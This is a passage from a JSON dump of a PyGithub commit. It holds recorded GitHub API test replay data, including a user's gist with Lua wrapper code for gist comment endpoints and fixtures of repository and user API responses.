--\\nfunction GithubAPI.gist.delete(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback, {method=\\\"DELETE\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n--- GISTS COMMENTS ---\\n\\n-- List comments on a gist --\\nfunction GithubAPI.gist.comment.list(gist_id, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments\\\", callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n[\\n {\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n }\\n]\\n]]--\\n\\n-- Get a single comment --\\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n}\\n]]--\\n\\n-- Create a comment --\\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tbody = body\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\"\\n}\\n]]--\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/gists/comments/1\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n}\\n]]--\\n\\n-- Edit a comment --\\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback, {\\n\\t\\tmethod = \\\"PATCH\\\",\\n\\t\\tdata = {\\n\\t\\t\\tbody = body\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\"\\n}\\n]]--\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n}\\n]]--\\n\\n-- Delete a comment --\\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback, {method = \\\"DELETE\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n----------------------------------------------------------------------------\\n-------------------------------- TOOLS -------------------------------------\\n----------------------------------------------------------------------------\\n\\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\\n\\topts = opts or {}\\n\\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\\n\\tif opts.data then opts.data = json.encode(opts.data) end\\n\\n\\tlocal _url\\n\\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\\n\\n\\thttp.request(_url, function(data, status, headers)\\n\\t\\tif (status == 500) then error(\\\"Github: Internal Server Error ...\\\") end\\n\\t\\tdata = json.decode(data)\\n\\t\\tcallback(data, status, headers)\\n\\tend, alert, opts)\\nend\\n\\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\\n if (div=='') then return false end\\n local pos,arr = 0,{}\\n for st,sp in function() return string.find(str,div,pos,true) end do\\n table.insert(arr,string.sub(str,pos,st-1))\\n pos = sp + 1\\n end\\n table.insert(arr,string.sub(str,pos))\\n return arr\\nend\\n\\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\\nfunction GithubAPI.gtimestamp(githubTime)\\n\\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\\n\\tgithubTime = GithubAPI.explode(\\\"T\\\", githubTime)\\n\\tgithubTime[1] = GithubAPI.explode(\\\"-\\\", githubTime[1])\\n\\tgithubTime[2] = GithubAPI.explode(\\\":\\\", githubTime[2])\\n\\treturn os.time({\\n\\t\\tyear = tonumber(githubTime[1][1]),\\n\\t\\tmonth = tonumber(githubTime[1][2]),\\n\\t\\tday = tonumber(githubTime[1][3]),\\n\\t\\thour = tonumber(githubTime[2][1]),\\n\\t\\tmin = tonumber(githubTime[2][2]),\\n\\t\\tsec = tonumber(githubTime[2][3])\\n\\t})\\nend\"}},\"public\":true,\"created_at\":\"2013-08-21T16:28:24Z\",\"updated_at\":\"2013-08-21T16:28:24Z\",\"description\":\"Github API\",\"comments\":0,\"user\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"comments_url\":\"https://api.github.com/gists/6296732/comments\",\"forks\":[],\"history\":[{\"user\":null,\"version\":\"c464aecd7fea16684e935607eeea7ae4f8caa0e2\",\"committed_at\":\"2013-08-21T16:12:27Z\",\"change_status\":{\"total\":793,\"additions\":793,\"deletions\":0},\"url\":\"https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2\"}],\"fork_of\":{\"url\":\"https://api.github.com/gists/6296553\",\"forks_url\":\"https://api.github.com/gists/6296553/forks\",\"commits_url\":\"https://api.github.com/gists/6296553/commits\",\"id\":\"6296553\",\"git_pull_url\":\"https://gist.github.com/6296553.git\",\"git_push_url\":\"https://gist.github.com/6296553.git\",\"html_url\":\"https://gist.github.com/6296553\",\"files\":{},\"public\":true,\"created_at\":\"2013-08-21T16:12:27Z\",\"updated_at\":\"2013-08-21T16:28:24Z\",\"description\":\"Github API\",\"comments\":0,\"user\":{\"login\":\"HyroVitalyProtago\",\"id\":3470988,\"avatar_url\":\"https://1.gravatar.com/avatar/ed59562b231a649345f38703948f76f4?d=https%3A%2F%2Fidenticons.github.com%2F6582cb986b7a730b12f7c18dfcc865f0.png\",\"gravatar_id\":\"ed59562b231a649345f38703948f76f4\",\"url\":\"https://api.github.com/users/HyroVitalyProtago\",\"html_url\":\"https://github.com/HyroVitalyProtago\",\"followers_url\":\"https://api.github.com/users/HyroVitalyProtago/followers\",\"following_url\":\"https://api.github.com/users/HyroVitalyProtago/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/HyroVitalyProtago/subscriptions\",\"organizations_url\":\"https://api.github.com/users/HyroVitalyProtago/orgs\",\"repos_url\":\"https://api.github.com/users/HyroVitalyProtago/repos\",\"events_url\":\"https://api.github.com/users/HyroVitalyProtago/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/HyroVitalyProtago/received_events\",\"type\":\"User\"},\"comments_url\":\"https://api.github.com/gists/6296553/comments\"}}\n "},{"sha":"7d335ffc25d0f2bf8208709c1d73ec7b216eee61","filename":"github/tests/ReplayData/Github.testGetRepos.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Github.testGetRepos.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Github.testGetRepos.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Github.testGetRepos.txt?ref=a6597499c2f82e063074a3036d875417d5efa296"},{"sha":"476baddfbabd644ff708e3ea3778ae474ff03c86","filename":"github/tests/ReplayData/Github.testGetReposSince.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Github.testGetReposSince.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Github.testGetReposSince.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Github.testGetReposSince.txt?ref=a6597499c2f82e063074a3036d875417d5efa296"},{"sha":"6f6e25494e129725b5aad650839888e3494c52f7","filename":"github/tests/ReplayData/Hook.testTest.txt","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Hook.testTest.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Hook.testTest.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Hook.testTest.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -2,7 +2,7 @@ https\n POST\n api.github.com\n None\n-/repos/jacquev6/PyGithub/hooks/257993/test\n+/repos/jacquev6/PyGithub/hooks/257993/tests\n {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n null\n 204"},{"sha":"08c61a84ee63868aac85f3d64397e65b0fdf9132","filename":"github/tests/ReplayData/NamedUser.testHasInFollowing.txt","status":"added","additions":22,"deletions":0,"changes":22,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/NamedUser.testHasInFollowing.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/NamedUser.testHasInFollowing.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/NamedUser.testHasInFollowing.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,22 @@\n+https\n+GET\n+api.github.com\n+None\n+/users/nvie\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1218'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:26:40 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"8e2b307f8fb4186bfb512febd7215fc8\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 17:20:44 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377108637')]\n+{\"login\":\"nvie\",\"id\":83844,\"avatar_url\":\"https://2.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https%3A%2F%2Fidenticons.github.com%2Fe6d0513ce49cc06cb956251623cb8fd9.png\",\"gravatar_id\":\"466ef7561a0b100dc5a1021959962d28\",\"url\":\"https://api.github.com/users/nvie\",\"html_url\":\"https://github.com/nvie\",\"followers_url\":\"https://api.github.com/users/nvie/followers\",\"following_url\":\"https://api.github.com/users/nvie/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/nvie/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/nvie/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/nvie/subscriptions\",\"organizations_url\":\"https://api.github.com/users/nvie/orgs\",\"repos_url\":\"https://api.github.com/users/nvie/repos\",\"events_url\":\"https://api.github.com/users/nvie/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/nvie/received_events\",\"type\":\"User\",\"name\":\"Vincent Driessen\",\"company\":\"3rd Cloud\",\"blog\":\"http://nvie.com\",\"location\":\"Netherlands\",\"email\":\"vincent@3rdcloud.com\",\"hireable\":true,\"bio\":null,\"public_repos\":86,\"followers\":530,\"following\":45,\"created_at\":\"2009-05-12T21:19:38Z\",\"updated_at\":\"2013-08-21T16:26:40Z\",\"public_gists\":38}\n+\n+https\n+GET\n+api.github.com\n+None\n+/users/jacquev6/following/nvie\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 17:20:48 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1377108637')]\n+\n+"},{"sha":"dfc62ba258a155c9b40432ec67a51b8b8822ec73","filename":"github/tests/ReplayData/Persistence.setUp.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Persistence.setUp.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Persistence.setUp.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Persistence.setUp.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+api.github.com\n+None\n+/repos/akfish/PyGithub\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13698'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"8600bedcb7fed1d8065e1693e05529ce\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:08 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')]\n+{\"id\":12156762,\"name\":\"PyGithub\",\"full_name\":\"akfish/PyGithub\",\"owner\":{\"login\":\"akfish\",\"id\":922715,\"avatar_url\":\"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png\",\"gravatar_id\":\"12a1b44d4e5c19cee59618084602b112\",\"url\":\"https://api.github.com/users/akfish\",\"html_url\":\"https://github.com/akfish\",\"followers_url\":\"https://api.github.com/users/akfish/followers\",\"following_url\":\"https://api.github.com/users/akfish/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/akfish/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/akfish/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/akfish/subscriptions\",\"organizations_url\":\"https://api.github.com/users/akfish/orgs\",\"repos_url\":\"https://api.github.com/users/akfish/repos\",\"events_url\":\"https://api.github.com/users/akfish/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/akfish/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/akfish/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":true,\"url\":\"https://api.github.com/repos/akfish/PyGithub\",\"forks_url\":\"https://api.github.com/repos/akfish/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/akfish/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/akfish/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/akfish/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/akfish/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/akfish/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/akfish/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/akfish/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/akfish/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/akfish/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/akfish/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/akfish/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/akfish/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/akfish/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/akfish/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/akfish/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/akfish/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/akfish/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/akfish/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/akfish/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/akfish/PyGithub/labels{/name}\",\"created_at\":\"2013-08-16T10:56:11Z\",\"updated_at\":\"2013-08-22T02:09:11Z\",\"pushed_at\":\"2013-08-22T02:09:09Z\",\"git_url\":\"git://github.com/akfish/PyGithub.git\",\"ssh_url\":\"git@github.com:akfish/PyGithub.git\",\"clone_url\":\"https://github.com/akfish/PyGithub.git\",\"svn_url\":\"https://github.com/akfish/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":6736,\"watchers_count\":0,\"language\":\"Python\",\"has_issues\":false,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":0,\"mirror_url\":null,\"open_issues_count\":0,\"forks\":0,\"open_issues\":0,\"watchers\":0,\"master_branch\":\"master\",\"default_branch\":\"master\",\"permissions\":{\"admin\":true,\"push\":true,\"pull\":true},\"network_count\":70,\"parent\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"},\"source\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sh